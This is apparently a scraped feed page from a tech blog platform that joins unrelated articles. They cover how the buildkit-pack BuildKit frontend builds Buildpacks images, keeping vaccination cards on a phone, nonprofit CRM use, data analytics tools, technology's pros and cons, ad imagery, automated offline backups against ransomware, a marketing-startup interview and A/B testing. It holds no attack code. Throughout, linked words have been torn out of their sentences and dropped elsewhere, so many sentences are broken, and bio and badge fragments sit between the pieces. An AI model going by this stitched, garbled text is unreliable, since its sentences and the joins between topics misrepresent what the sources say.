In this article, we’ll do a deep dive into the Buildpacks BuikdKit frontend implementation and see how it actually works under the hood. However, before we do so, we’ll need to breeze through a few concepts. What is a Container Image? A container image of a config file and layer tarballs. Usually, they are made from a series of instructions like FROM, ADD, and RUN, which are placed in a Dockerfile and built with a docker build. However, a docker build is just one way of ending up with this output. consists Cloud-Native Buildpacks Buildpacks belong to the family of non-Dockerfile based image-building tools. It takes your application source code and transforms it into an image, usually without any additional input from the user. OCI To use Buildpacks to package your code, you would run the , specifying your application source code as well as a builder, which is an ordered collection of Buildpacks to be executed. Pack CLI BuildKit BuildKit is defined as a toolkit for converting source code into build artifacts in an efficient, expressive, and repeatable manner. Note that this means that BuildKit is not limited to building OCI images, although it is typically used as such. In this respect, it can be compared to a docker build albeit with improved performance, storage management, feature functionality, and security. The most significant advantage BuildKit has is the ability to execute build steps in parallel, thanks to its concurrent dependency solver. BuildKit is also highly configurable, in terms of build definition formats (frontends), output formats (direct to the registry, tarballs, cache warming), and cache imports/exports. LLB BuildKit builds are based on a low-level, binary intermediate format called LLB (low-level builder). The entire dependency graph of your build, how to execute, and what to cache is defined in LLB. Frontends A frontend is a component that takes a human-readable build definition and converts it to LLB so that BuildKit can execute it. The most well-known frontend is the Dockerfile frontend. ( ). dockerfile.v0 Since Docker v18.06, BuildKit has been integrated into docker build and can be enabled by setting the environment variable . There is also a special frontend called gateway ( ) that allows any image to be used as a frontend. DOCKER_BUILDKIT=1 gateway.v0 How Buildkit-Pack Works Buildkit-pack was authored by Tonis Tiigi, the maintainer of BuildKit. It is the ‘official’ BuildKit frontend for Buildpacks. Buildkit-pack has been packaged as an image and pushed to the public Docker Hub registry. The last commit on the repository was 3 years ago. Source code: https://github.com/tonistiigi/buildkit-pack Image: https://hub.docker.com/r/tonistiigi/pack Although not explicitly stated in the README, the ‘high-level’ build definition supported by this frontend is actually a deprecated version of the CloudFoundry . Within the manifest, you can specify the buildpack to use to build your application. manifest With Docker v18.06+: DOCKER_BUILDKIT=1 docker build -f manifest.yml . Where the manifest here contains as the first line, BuildKit detects the syntax keyword and it into a source opt. # syntax = tonistiigi/pack converts With BuildKit: buildctl build --frontend=gateway.v0 --opt source=tonistiigi/pack --local context=. You will still require a . But in this case, you can go without the annotation. manifest.yml # syntax = tonistiigi/pack BuildKit then a container with the image and the build opts you pass to the command. starts tonistiigi/pack buildctl Deep Diving into the Source Code Looking at the buildkit-pack source code, you’ll find the following directory structure: cmd
hack
vendor
.travis.yml
Dockerfile
LICENSE
README.md
build.go
manifest.go
vendor.conf It’s actually a fairly small codebase with the important logic contained within a few files. Dockerfile This Dockerfile is used to package the frontend as an image. It essentially compiles the Golang code into a single binary, pack. This executable is copied to bin/pack and set as the of the runtime image. ENTRYPOINT manifest.go Contains logic to parse a CloudFoundry manifest and for the following keys: . And for each application, the following keys are parsed: . applications, buildpack, command, env name, buildpack, command, env The implication here is that buildkit-pack essentially limits us to a single buildpack per application. We can’t specify a custom builder, which is a huge drawback, as it means developers cannot simply write application code. They also have to worry about buildpack selection. Note that is it possible to not specify your buildpack and allow auto-detection to select one of the CloudFoundry buildpacks. system build.go Contains the bulk of the build definition transformation logic. It parses the build opts invoked with the bin/pack executable along with the manifest. It then uses the BuildKit LLB client to programmatically construct the LLB. The design pattern is used here to assemble the LLB. Builder There are 3 stages ( ), each of them starts a container with a given base image and executes some instructions. The stages are nested one after another to generate the LLB. build, extract, run The overall call flow is as follows. Constructing the LLB: Parse the build opts. Parse the manifest to obtain the buildpack, start command, and env vars. Resolve the local context (application source code). Resolve the build image (hardcoded as: ) as the root of the docker.io/packs/cflinuxfs2:build build stage. Augment the with the env vars. build stage Augment the with a command. This command runs the executable and outputs a tarball. is already contained in the build image and looks to be the CloudFoundry equivalent of the Pack CLI. This is in fact a written for CloudFoundry that implements the Buildpacks lifecycle. build stage RUN /packs/builder /packs/builder compatibility layer Mount the application source code to the directory on the /src build stage. Mount a cache to the directory on the /tmp build stage. Resolve an alpine image as the root of the extract stage. Mount the to the directory on the build stage /in extract stage. Augment the with a command. This command basically extracts the tarball from the build stage to the directory. extract stage RUN /out Resolve the run image (hardcoded as ) as the root of the docker.io/packs/cflinuxfs2:run run stage. Mount the directory of the to the /out extract stage run stage. Executing the LLB: Converts the LLB to protobuf Sends a to the buildkit daemon SolveRequest Sends a to the buildkit daemon ResolveImageConfigRequest Returns the SolveResponse There are, unfortunately, some issues with this implementation: Only works with local context, and does not support git / http . sources The stack (build image and run image) is pretty much . hardcoded Although the CloudFoundry manifest supports multiple applications (either for a monorepo or multiple process types), only the first application is taken into . consideration The command use to execute the build is not the Cloud Native Buildpacks Pack CLI, but rather, it is a CloudFoundry specific binary. Conclusion Buildkit-pack is no longer being maintained, and as we have seen, it is not a generic implementation for a Buildpacks frontend. It is rather specific to CloudFoundry and does not support critical features such as providing a builder and using project descriptors. In fact, it was only meant to be a to demonstrate the flexibility of BuildKit. proof of concept Previously published . here

Flow

Twitter

Read My Stories

Cloud-Native Buildpacks, BuildKit, and Container Images: Qu'est-ce Que C'est?

Photo by on Roth Melinda Unsplash If you’re vaccinated against COVID-19 and back out in the world, chances are you’re encountering requests for your vaccination card. An increasing number of places require visitors to prove their vaccination status before being allowed in. New York City mandate proof of vaccination , while New Orleans . Other cities, , are considering similar measures. and San Francisco for public indoor dining, exercising, and entertainment requires vaccination or a negative test such as Los Angeles At least one international airline and many cruises . Staff and students for some school districts . And many sports venues . require a vaccine must be vaccinated are joining the push One option is to carry your paper vaccination card ( ). But there are also several ways to securely keep a digital copy handy on your mobile phone. don’t laminate it Are There Privacy Concerns? Though it involves your health, the information actually visible on a vaccine card isn’t as sensitive as that in other health records. Most often, the card has a name, date of birth, which vaccine that person received and when, as well as where they received the vaccination. Of those, the date of birth is the most worrisome. But that piece of information alone isn’t dire, said Lorrie Cranor, director of Carnegie Mellon University’s CyLab Security and Privacy Institute. “The main issue with date of birth is that it could be a link to other records,” she said. “If someone’s trying to steal your identity, the more non-public information they have available, the more likely they’re going to answer [challenge questions correctly].” One of the main issues privacy advocates raised about so-called “vaccine passports” was a fear that if they digitally check in every time they enter a public space, and whether that information could be shared with law enforcement. people’s movements could be tracked over time To account for this, some apps upload a person’s vaccination status to a server only for a brief period, while another displays “only a red or green signal” to show whether someone has been vaccinated, according to The New York Times. What Are My Options? Take a Photo of Your Paper Vaccine Card Make note of whether that photo is stored locally on your device or in cloud software such as Apple’s iCloud or Google Photos. If it’s stored locally, someone would need to get physical access to your phone if they wanted to steal your vaccination card. Depending on the software your device runs, you may also be able to access so it is separate from your other photos. to create a folder that requires an extra password Keeping it in the cloud means someone would need to get access to your phone or compromise your cloud account’s login credentials. In both cases, strong passwords will help protect your information, Cranor said. Make sure your phone requires a password longer than four digits or biometrics to unlock it. Consider multi-factor authentication for your cloud account as well, which requires additional verification from someone attempting to log in. Store It in Software That Uses Encryption Another way to keep your card on your phone is by putting the photo of your vaccine card into a password manager or digital wallet. Password managers are software that store and encrypt sensitive information such as login credentials. Often, they allow users to upload photos or documents when creating a new entry. This puts a further layer of security between a would-be thief and your vaccination card. Even if someone gets hold of your phone, they would need to get past both your device pin and your password manager’s login to view the information on your vaccine card. If they were to download your password manager’s software, the data would be scrambled by encryption, rendering your vaccination card unviewable. Guy Garrett, assistant director of the University of West Florida’s Center for Cybersecurity, recommends using your phone’s digital wallet. Android users if their phone is running Android 5 or later software, as well as on . can save the photo in their Google Pay account Samsung Pay Apple has plans such as a verified vaccination status in Apple Wallet. to allow its users to store health information Apple declined to respond on the record to a request for comment. Use a Government-Provided App Depending on where you live, . Some states, such as and , developed their own mobile apps for residents. The privacy policy for New York’s app explicitly states that it s. your state or county may have an app to store your vaccine status Colorado New York does not access its users’ location Counties, too, may offer an app to anyone vaccinated locally. Los Angeles County uses an app called , for example. Healthvana Garrett recommended reading the specific app’s user agreement before downloading to understand what information it collects and/or shares. Cranor said to check whether the app verifies your vaccination status against a state database or just stores a photo of your card. If it stores a photo of the card, you might choose to do this outside of the app. Other Digital Options Several states don’t have apps but do offer portals for residents to download their vaccination status or a digital version of their vaccine cards, including and . California Hawaii A handful of states, including Arizona, Louisiana, Maryland, Mississippi, North Dakota, and Washington, use a platform called , where residents can download a digital version of their vaccination card. MyIR Mobile use VaccineCheck to verify residents’ vaccine status and generate a digital version of the card with a QR code to download. Some counties in Maryland These can be stored in the same way that a photo would be. Residents in California, Hawaii, Louisiana, New York, Virginia, and some Maryland counties can also elect to use the private CommonHealth App to store their “SMART Health Cards.” According to JP Pollak, co-founder of The Commons Project Foundation, which built the app, data is stored only on the user’s device and isn’t viewable to the foundation. Still Worried About Your Vax Card Data if Your Phone Gets Stolen? If you are concerned about losing your phone, Garrett recommends setting up a “remote wipe” feature that allows you to reset your phone’s software from afar, erasing your vaccination card (and everything else). Written by: Malena Carollo This article was and was republished under the license. originally published on The Markup Creative Commons Attribution-NonCommercial-NoDerivatives

Apple

Google

Samsung

Every dollar you donate helps support The Markup’s work.

How to Secure Your Vaccination Status 

Photo by Justin Wei on Unsplash Most nonprofits recognize the need to optimize technology and processes for communications with donors and volunteers. But one area that's sometimes overlooked is streamlining communications with the recipients of the organization's services and tracking data about those recipients. Some organizations might use various spreadsheets to track service recipient data and contact information, so the data is scattered in multiple places. Others might have technology available to optimize recipient communications but haven't trained their staff or created processes to use the technology well. Sometimes there aren't processes and technology in place to make sure the organization follows up with people who have used the nonprofit's services. If any of these scenarios sound familiar, you're not alone. But, whether you are a large organization or a small organization, there are solutions and strategies available today to help you turn things around. Streamlining Your Communications with Service Recipients At , we help our clients implement technology solutions that typically include a customer relationship management (CRM) system at the core to centralize data in one place, plus email marketing, marketing automation, and other tools to streamline communications processes. Heller Consulting There are multiple benefits to these types of technology solutions when it comes to communicating with service recipients. Work More Efficiently Your organization can communicate with service recipients more efficiently and effectively. An example of this is creating convenient online forms that give constituents a way to sign up for services. One of our clients has an online form that does the following: Puts relevant information directly into the CRM system Assigns the recipient to the correct program Delivers the information the recipient needs at the right time to be part of the organization's program A sophisticated flow of communication like the one detailed above is powerful for a large organization, but the same strategy can be replicated at a smaller organization too. There are several free online form options out there — such as those available through or — that you can set up today. Office 365 G Suite for Nonprofits If you're not working within a CRM, the key is staying organized and using the forms to collect data that will better inform your program staff. You could host a meeting with your staff and brainstorm questions together. For example, if you're with a small food bank, are you trying to track which satellite pantries are most popular? Are you trying to gauge interest in a summer lunch program for kids? Align your program goals with the survey questions. Once you have the link to the survey, make it accessible on your website and printed materials. Get Feedback It's important to know if the services you're providing are serving your populations well. By having a centralized way to track service beneficiary data, your staff can prompt service recipients to give feedback about their experience online, and that feedback can be automatically pulled into the CRM system. If you're not using a CRM, this would be pulled into a shared Microsoft Excel spreadsheet or Google Sheet. This gives you the option to run reports and see insights on how the service delivery program is performing and how your organization can make improvements. Report on the Program With data about service delivery housed in one centralized location, your organization can easily review reports to determine how to improve the service delivery process further. For example, one of our clients found that many recipients signed up for a service but did not show up to receive it. Having this data at their fingertips, the program's staff used their email marketing technology to set up an additional reminder email. Reporting is also crucial to show program impact. If you have reporting tools available through your technology, you can easily pull reports to send to the board of directors and other entities that need to be updated on the success of your programs. Improve Donor and Volunteer Communications It's not unusual for service recipients to later volunteer for or donate to the organization that provided help when they needed it. By housing information about service recipients, donors, volunteers, and other constituents in one location, your staff can better understand the full relationship of each person with your organization. This makes it much easier to send targeted, relevant communications and maintain deeper, more meaningful relationships with the people who have interacted with your programs. A CRM simplifies communications because it gives you a unified view of how one person has interacted with your organization, but smaller nonprofits could achieve this by tracking data in shared spreadsheets and building in regular check-ins with your team to review data and feedback so that staff members are not working in silos. Starting Small If you're reading this and you're a part of a smaller organization, a new CRM might not be in the budget right now. If you are just getting started, our advice overall is to put processes in place that will help you understand your service recipients now and will create habits to scale from later as you grow. For example, you can still create a feedback loop to understand if the services you provided resonated with your beneficiaries. You could do this by creating a quick survey with Google Forms or Microsoft Forms, adding recipients to an email list in a tool like Constant Contact, and sending them the survey link in a follow-up email. Improving Service Recipient Communications in the Real World Here are three examples of our clients that use technology solutions with a CRM system at the center to streamline and optimize their service recipient communications. A Service Dog Organization We helped a large service dog organization set up a CRM-centered system and a marketing automation tool that allows the various departments at the organization to track dogs, the many people that care for and work with them throughout their life, and the participants and alumni from the programs. This system allows our client to: Track the relationship between dogs and people all the way from the dog's birth through training, assignment on a team with a client, and retirement. Connect trained guide dogs with people who need them and manage the application and class processes associated with each relationship. Be able to quickly send targeted updates to service recipients, such as notifications about changes in air travel policies, that are accessible via screen reader. Easily exclude service recipients from email communications that do not apply to the recipients, such as notifications to trainers about dates when dogs are due for booster shots. An Animal Welfare Organization We partnered with a large metropolitan animal welfare organization on a technology solution with a CRM solution at the core, paired with digital engagement, marketing automation, and other software. One example of how the organization is putting the technology to work is through personalized communications with pet adopters that accomplish the following: Map out various pet adoption paths — including different types of pets, multiple pets, and returned pets — and how each adoption pathway and the related data flow through the technology system Fill in any gaps in data to ensure that they have the right information to send communications with accurate personalization — for example, knowing when and what type of pet was adopted Set up automated, highly personalized email communications that mention adopted pets by name, provide tips appropriate for their type of pet or pets, and encourage deeper engagement with the organization, including joining conversations on social media, volunteering, and making donations The organization is also able to use the technology to analyze and adjust the pet adopter process as needed. They can view real-time information about how well communications with pet adopters are performing. By keeping tabs on the open, click-through, unsubscribe, and bounce rates of each email, they can quickly adjust and refine content to better communicate with people who just adopted a pet. A Food Bank We work with some of the largest food banks in the country, and we have seen them use creative ways to communicate with their service recipients during the COVID-19 pandemic. One of those clients streamlined service registration and the food distribution process by using a CRM system and marketing automation. The food bank automatically sends a confirmation email or text to service recipients as soon as they sign up for services, such as food distribution. The recipients are also quickly notified of their options, next steps, what to be prepared for, and when they can expect to receive assistance. They also receive a reminder one day before the first food distribution. This has been especially critical during the pandemic because of the immediate impact on many families. The technology also helps the food bank track what communications have gone out, when they were sent, and who they went to and why. This helps the organization ensure that all steps in their processes are followed. Lessons Learned Keep in mind that these examples were all from large organizations that serve major metropolitan areas. Their technology needs are complex, but the lessons learned are simple and can be applied to organizations of all sizes: Tracking and reaching out to the people benefiting from your organization's services is essential to understanding the impact of your organization. Technology can ease both tracking data and communicating with service recipients. The solution can be as simple as having an online form readily available on a tablet for recipients to fill out before they leave or adding a feedback form link to an email newsletter. Having insights into the effectiveness of your services makes it easier to meet reporting requirements. Parting Words We hope these examples from our clients will inspire you to consider the technology available today — whether that is a strong CRM system with marketing automation or an email marketing tool paired with free online forms. These types of tools can help streamline everything from program beneficiary outreach and tracking to fundraising and volunteer management. Having these types of technologies in place can accelerate the digital transformation of your organization, but the key overall is to get started. At a time when budgets and time might be tighter, it's OK to begin with less expensive tools and start collecting service recipient data and communicating with the population you are serving. Opening up this communication will equip you with the insights you need to make a greater impact. About the Authors Crystal Suarez is a certified salesforce administrator and marketing cloud email specialist with over seven years of experience with salesforce customer relationship management, including database management in the nonprofit sector. Crystal is currently a consultant for Heller Consulting. Catherine Moore has over 20 years of experience in change leadership, communications, and technology in both nonprofit and corporate sectors. Catherine is currently the digital transformation practice lead for Heller Consulting. Originally published as: Using Technology to Communicate with Your Nonprofit's Beneficiaries

Microsoft

Salesforce

Help nonprofits around the world get the resources they need

How to Communicate With the  Beneficiaries of Your Nonprofit in 2022

Data analytics is used for transforming raw data into useful insights. It provides statistics and explanations to help businesses produce improved data-driven decisions. According to a variety of data analytics courses: modern business operations revolve around data science. Data Science uses several different tools and technologies to provide better results, and that’s what makes it difficult to choose just one particular data analytics tool for improving a business. Every tool has a different role to play, and not all of them are suitable for doing the same job. Therefore, let us learn what data analytics tools are, and explore some tools that are available in the market. What is a Data Analytics Tool? A data analytics tool is used to make classifications about software and applications which are then used by data analysts in order to produce different analytical processes that help businesses make improved, better informed, and strategic business decisions. Data analytics tools also help organizations and industries minimize costs and increase profit. How to Choose the Right Data Analytics Tool? There are many data analytics tools in the market and it is quite difficult for businesses to choose the right one for themselves. When a company takes their business requirements into consideration, they have to get some extensive research done beforehand, where they would gather knowledge about data analytics tools and how to use them in the correct manner. In business, experienced data analysts and data scientists are the ones who take care of all the data-related work. When it comes to code creation, especially with SQL, there are some data analytics tools that provide an enticing experience, compared to other tools that are more connected to the click-and-point review best suited for interns. A company should always work with data analytics software that offers the best support for visualizations that are relevant specifically to their business targets. For instance, think about the ability of data analytics software for data modeling. Now, there are some data analytics tools that support a more semantic and syntactic layer or can model data themselves. If a company decides not to use one of these data analytics tools, they will have to use SQL or data analytics tools, such as the Data Build Tool or DBT, in order to model the data before the analysis. The requirement for data analytics tools is unmatched, and there will never be too much data to process. In order to do the processing efficiently and successfully, there will always be an abundance of data analytics tools. Here, we are going to take a look at some of the most popular data analytics tools to help you obtain better knowledge on how to choose the right tool for your business. Let’s begin! Top Eight Data Analytics Tools 1. Python Python has been and still is one of the most used programming languages since it was first introduced to the market. The prime reason for Python’s unmatched popularity is that it is a language that can be learned quickly yet in a very efficient manner. Later, Python was transformed into one of the most powerful data analytics tools with the help of analytical and statistical libraries, such as SciPy, NumPy, and others. Today, it provides holistic coverage of both mathematical and statistical functions. Because of the multifaceted prevalence of Python, we are getting to see a huge number of programmers and technology aspirants inclining towards analytics. Data science aspirants are familiar with Python, and therefore, it has become probably the most popular data analytics tool for many data scientists. 2. R R, like Python, is also one of the popular data analytics tools used in the industry. R has outperformed SAS in terms of usage and is now used extensively by companies that can easily afford SAS. Over time, R has grown to be a lot more efficient. It now works with data sets more effectively than it used to a decade ago. R has also become more versatile. Between April 2015 and April 2016, R was introduced to 1,800 new packages, which makes the total number of R packages more than 8,000. However, there are concerns about the growing number of R packages, but this has added a lot more to R’s competencies. R also incorporates quite well with different big data platforms which have contributed a lot to its success. 3. SAS SAS is another data analytics tool that continues to be widely used by various companies and industries. SAS is a vigorous, versatile, and learner-friendly tool. It has added a large number of new modules to the market. Some of the expert modules that have recently been added are SAS Anti-Money Laundering, SAS for IoT, SAS Analytics Pro for smaller businesses. 4. Tableau According to several , Tableau remains one of the most easy-to-learn data analytics software in the world for the fact that it performs very efficiently. Tableau works with data and produces brilliant visualizations as well as great dashboards. data analytics courses Tableau can make visualizations even better than Excel, and can also handle more data than the latter. If a business wishes to implement more dynamicity to their business plots, Tableau is the tool they should go for. 5. Excel Excel needs no introduction because we all know that it is the most popular data analytics tool in the world. Whether or not a person is an expert in R or Tableau, they will have to come back to Excel for the grunt work. Professionals who do not work with or in analytics, usually do not have access to data analytics tools, such as Python or SAS on their systems. But everyone has access to Excel. The usage of Excel becomes extremely crucial for a business when the analytics teams and business teams come to work together. 6. Apache Spark Apache Spark is an open-source data processing engine that was created to work with a specific focus on data analytics. It primarily focuses on unstructured data or large volumes of raw data. Apache spark has made its way to be included in the list of the most popular data analytics tools over the period of the last couple of years. The spark came to see this growth due to varied reasons. The chief one is the easy and simple assimilation with the ecosystem created by Hadoop. Apache spark is one of the very few data analytics tools that have its own libraries. 7. Apache Storm Apache Storm is a big data tool that is used to move data when it comes in an extremely continuous manner. Apache spark works on data that is static, and, Apache storm, on the other hand, is considered ideal for real-time data analytics and stream processing. 8. Microsoft Power BI Microsoft Power BI is considered one of the top business intelligence platforms that offers support to numerous data sources. It allows its users to produce reports, dashboards, displays, and post them. The MS Power BI also helps users create and implement automated models by applying machine learning with Azure ML. Users can amalgamate a group of dashboards and reports into a Power BI application.

Apache

2022 - HackerNoon Contributor of the Year - Microsoft

Software Development Company

Nominated for 2022 - HackerNoon Contributor of the Year - Microsoft

What are the Best Data Analytics Tools?

A technological world sure has its pros and cons. Technology is often described as a necessary evil by so many people. As much as it is important in our lives, it has also led to some evils facing society. Technology, for instance, has made the world a global village and made it easier for people to reach each other. Today, you don’t even have to be in the same location to collaborate in terms of jobs and different activities. In addition, you can reach out to friends and family who are thousands of miles away as if they are just next to you. How has this been possible for many people? Well, social media is one way that has made it easier to keep up with people from different parts of the globe. But at the same time, social media has led to depression for many and even suicide through body shaming and cyber-bullying. So, as you can see, there are both advantages and disadvantages to this advancement in technology. As we move deeper into the article, you will understand how these advantages and disadvantages of technology affect you directly. What is Technology Today? Technology has constantly revolutionized our world over the years. Today, we enjoy a lot of simplicity in performing different activities due to the presence of technological tools. Things like smartwatches and smartphones are a result of advancements in technology. And there’s still more to expect in the coming years if the current trend we’re seeing is anything to go by. Indeed, it is safe to say that technology has made each and everyone’s lives better, faster, easier and even more fun. Technology Has Changed Our Life Technology has led to an enhanced quality of life not only for the younger generations but also the old ones. Through social media and instant messaging platforms, we’ve been able to keep in touch and maintain communication even amidst some of the most challenging times of humanity, such as during the COVID-19 pandemic. It has taken a toll on so many households and lives, leading to isolation and new norms such as social distancing and work-from-home policies. All this would have kept people completely away from each other if not for technology keeping things afloat. Some of the new devices that we have gained from technology have made our lives a lot easier and smoother. And we can even add that some devices have helped to , such as health devices. For instance, those who have a problem hearing well can benefit from the help they get from hearing aids and TV listening devices. Thus, people can move through everyday life with ease and peace of mind. boost the quality of life Pros of Technology Like we have stated in this article, technology has definitely improved the quality of life. So, let’s take some time and analyze some of the advantages that it has. For People with Disabilities Technology has been a strong pillar for people living with disabilities. Sure, life is challenging for this group. Through product design and development, technology has made it a lot easier and simpler for them. Talk of hearing aids as we have given an example earlier. There are also adaptive keyboards and alternative input devices that help people with disabilities to use technological tools that would have otherwise been impossible to use. Foot switches and eye-tracking software can also help in making those hard controls for people living with disabilities. Ease of Communication You can certainly agree with us when we claim that technology has made it easier for with each other. Take social media and instant messaging platforms as an example. It has made it easier for individuals to communicate regardless of their current locations. individuals to communicate Comfort Technology plays an integral role in our domestic lives. Smart light bulbs are one example of an application of technology for comfort. This creates a color ambience that’s relaxed and ideal for different activities. Some will even help you sleep better when it’s time for you to retire to sleep. Improved Education New tools have emerged that help in both learning and teaching. A good example that became popular during the COVID-19 pandemic is the such as Zoom. use of video technology Change in Health Sector Digital technological tools help to change unsustainable healthcare systems into more sustainable ones. Also, new technological tools have helped improve the value of life in terms of aiding in the treatment of certain ailments. Access to Information Through the presence of social media, information has become a lot easier for people to access. Today, you don’t even have to switch on your TV for news updates to know what’s happening around you. Do this swiftly from the comfort of your smartphone. Achieving Goals Living in a technological world will help you to achieve quickly what would have rather taken you ages before. It also becomes easier and more convenient to do things. Cons of Technology Of course, technology has its fair share of cons that we need to talk about. Some of them include: Increased loneliness. Less value in human workers. Competency. Depletion of natural resources. Too much dependency. Final Thoughts For sure, technology has made its mark in this world – whether positively or negatively. It all depends on what side you’re analyzing from. All in all, you should seek advice from a qualified person if you’re stuck wondering anything about technology.

Different

Keep

Mind

2022 - HackerNoon Contributor of the Year - Healthcare

Read my blog

Nominated for 2022 - HackerNoon Contributor of the Year - Healthcare

What is the Long-Term Impact of Living in a Technological World?

People don’t read advertisements for amusement. They read ads to take actions that involve spending money. Therefore every single aspect of your marketing campaign should add value to a campaign. Anything that involves spending money is a serious subject. are critical to the success of your campaign due to their huge impact on emotions. I’m going to walk you through to check when planning to select an image for your advertisement. Images the four most important criteria 1. Let Your Image Match the Purpose of Your Campaign Remember the last time you visited a website offering dental solutions or the last ad you read on dental surgery? The image on the website was a young person with clean bright teeth. What do you think about such an image on websites like that? Okay, let’s reverse engineer the image. How would you feel if the image was that of an 80-year-old woman? With bright clean teeth and a proud smile? Surely, that will resonate with you. This image matches the purpose of the campaign. Let me explain. First, dental problems are more common with old age. Because the image is that of a woman (80 years old) with a proud smile and clean teeth, this will subconsciously register in the mind of your prospect that the solution you are offering is effective. As mentioned, dental problems are more common with older people. So, most of the people that will engage with such ads or websites may be adullts. Because the image on the site resonates with those more likely to have problems with their teeth, they are more likely to be intrigued. Remember, advertising is all about appealing to emotions! 2. Image of People Theories and principles are established based on tests and previous mistakes. Laws are established based on working theories and principles of societal trends. As a result, all the existing strategies vetted by marketing geniuses like Gary Halbert, John Caples, Claude Hopkins, Joe Sugarman, and lots of them are proven to work. These strategies remain the same year after year. Only the products or the individuals change. Tests on various ads by these geniuses have proven how people react to seeing images of various genders on various ads. Your prospects of certain products may lead to consciously or subconsciously expecting to see different genders for different ads. 3. Research Your Target Audience It is all about emotional triggers. Because you want your prospects to spend their hard-earned money to buy from you, avoid careless mistakes. Don’t break the law, but find ways to fine-tune your ads to flow in the direction of the force. For every marketing campaign that I’m creating for myself or my client, I’ll carry out thorough marketing research to have a clear-cut understanding of the gender side of my potential customers. Then. I’ll make a selection of images that will appeal to them. That way, my prospects will engage with my message and take the desired action.

Target

I specialized in writing persuasive sales copy for health and wellness businesses connecting them with their ideal customers. 

Ways to Use Images in Your Marketing Campaigns

The specter of ransomware lockers haunts every organization — and the fear is justified. Ransomware is worse than malware: Systems and data are all locked up, and backups are all encrypted, too. Everything connected to the physical machines or connected to the Internet gets locked down. Your organization stops operating. Nothing can move forward. Ransoms must be paid, and trust in your organization and systems is lost forever. A CyberCrime Explosion is Coming In before the House Committee on Homeland Security, Christopher Krebs, the former head of the Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency, warned about a “cybercrime explosion” threatening national security. May 2021 testimony Two days later, hackers hit the Colonial Pipeline. The company’s VPN was accessed through a single compromised password. After a $4.4 million ransom, an intensive investigation had to be performed to ensure the hackers hadn’t gained access to the software that operated the pipeline’s infrastructure. The pipeline was shut down to prevent tampering, and gas shortages caused panic across the country. While your organization may not control the power or fuel pipelines for the nation, the stakes are just as high for your customers and employees. Hospitals, food suppliers, transportation, emergency systems, and even your organization play important roles in our society. If your systems are attacked, lives are literally at stake. Offline Backups Will Save Your Company (And The World) Of course, there’s an easy security solution to the coming CyberCrime Explosion: offline backups. Offline backups back up the organization’s data to a drive that’s not connected to the internet and therefore can’t be hacked. This is important even for teams that do cloud backups, which are also vulnerable to the same kind of hacking (not to mention data theft). The catch? Most MSPs and IT teams will say they do rotating offline backups. Most of them really do, at least for a while! But offline backups take time and discipline. And in the day-to-day grind of business - they are often forgotten or not done as frequently as they need to be. And on the day, week, or month it gets forgotten, the ransomware hits. In fact, hackers know that the ‘forgotten backup’ happens, and they count on it, waiting for the day the backup doesn’t happen. That turns a simple forgotten task into a huge, expensive problem. The solution: Automating Offline Backups With USB Technology The answer to any repetitive task that needs to be done on a regular schedule is . automation Ideally, offline backups would be as easy as cloud backups, which run regularly without any action from the user. (Speaking of which, automated cloud backups are actually another reason to have offline backups: regularly run cloud backups can write over the original files with the corrupted versions after the attack occurs). The part of offline backups makes it tricky, though. Any automation is likely to be on the computer and connected to the internet, making it vulnerable. offline That’s , which allows the user to customize and automate which USB ports get turned on and off. the problem we’re addressing via our USBHub3+ hub This means the port itself opens and closes, making the backup device immune to hacking when it’s closed, and only connected for as long as the backup takes. You can program the hub on a customized schedule to ensure backups are done regularly, at the right pace. Not only is this method more secure, but it also frees up tech talent from repetitive tasks. The End Goal: Reducing Ransomware Exposure USB technology like this makes the job a bit easier for MSP and IT teams, taking a manual task and turning it automatic. But of course, the real goal is security. Automated, regular offline backups that occur as quickly as possible through a port that’s automatically shut off is a secure way to keep data safe from ransomware and malware attacks. Rather than engaging with hackers or spending countless hours sorting through the attack, you can restore data much more easily and keep your organization running. Co-published here.

Paid

2022 - HackerNoon Contributor of the Year - Data

The most capable USB hubs in the world.

Nominated for 2022 - HackerNoon Contributor of the Year - Data

Automated Offline Backups Can Save the World

HackerNoon Reporter: Please tell us briefly about your  background. I am Seth Flora, the owner, founder, and community involvement organizer for LEO Digital Marketing. What's your startup called? And in a sentence or two, what does it do? Our company is LEO Digital Marketing and we help small businesses reimagine their online presence by creating eye-catching social media content and attracting new customers by utilizing our SEO experts. What is the origin story? I started LEO Digital Marketing to provide small businesses and nonprofits an affordable solution to competing with big businesses and to grow their missions. What do you love about your team, and why are you the ones to solve this problem? I love our team because every person is community-focused and gives back. We provide our clients with an affordable solution by having the most competitive prices in the region. If you weren’t building your startup, what would you be doing? I would be working to start a non-profit that works to help those in need in my community. At the moment, how do you measure success? What are your core metrics? We measure success by our client’s success and if they achieve their stated goals. What’s most exciting about your traction to date? We were excited to be considered a top rated SEO company for all of Ohio, Columbus, and 7 other categories by SEOblog. What technologies are you currently most excited about, and most worried about? And why? The LEO team is excited about the Metaverse and all it will offer users as well as the advertising potential. What drew you to get published on HackerNoon? What do you like most about our platform? I enjoy the vast amount of content that covers all kinds of topics. What advice would you give to the 21-year-old version of yourself? I would advise myself to continue to work hard and be ready for failure before success. What is something surprising you've learned this year that your contemporaries would benefit from knowing? I learned that with hard work and a great team you can do anything.

UNUS SED LEO

LEO Digital Marketing

2022 - Most Valuable Marketer

Learn more about us

Nominated for 2022 - Most Valuable Marketer

"Work hard and be ready for failure before success"

What is A/B split testing? According to LEO Digital Marketing: A/B Split Testing takes the guesswork out of optimization by giving you hard data on what drives results. It allows you to test 2 different methods to see which performs best. : According to Wikipedia A/B testing is a shorthand for a simple randomized experiment, in which two samples (A and B) of a single are compared. controlled vector-variable [1] These values are similar except for one variation which might affect a user's behavior. A/B tests are widely considered the simplest form of controlled experiment. However, by adding more variants to the test, its complexity grows. Why is A/B Split Testing valuable? A/B Split Testing allows you to see which ad, webpage, or email design/copy will get you more results. An example of this is when a company runs a Facebook ad targeting the same audience but with two different ads. One ad has a bright red call to action button while the other has a blue call to action button. By targeting the same audience with the same ad copy and design other than the CTA button color the marketers now know that a red CTA button works better than a blue one in their ads. Now, that is a simple explanation. Some changes that can be made are much more complex or even more simplistic. Another example is in web design. The graphic below shows the same website but with a small design difference. The design on the right has a bold black border around each feature and button while the design on the left has no border. Setting up analytics on each page and making sure that each page takes you to a different page after taking the action you want them to you can assess which page got you more clicks, sales, or signups. Once you know which design gets you closer to your goal, you’ll want to implement it more frequently.

Facebook

How to Apply A/B Split Testing to Marketing 

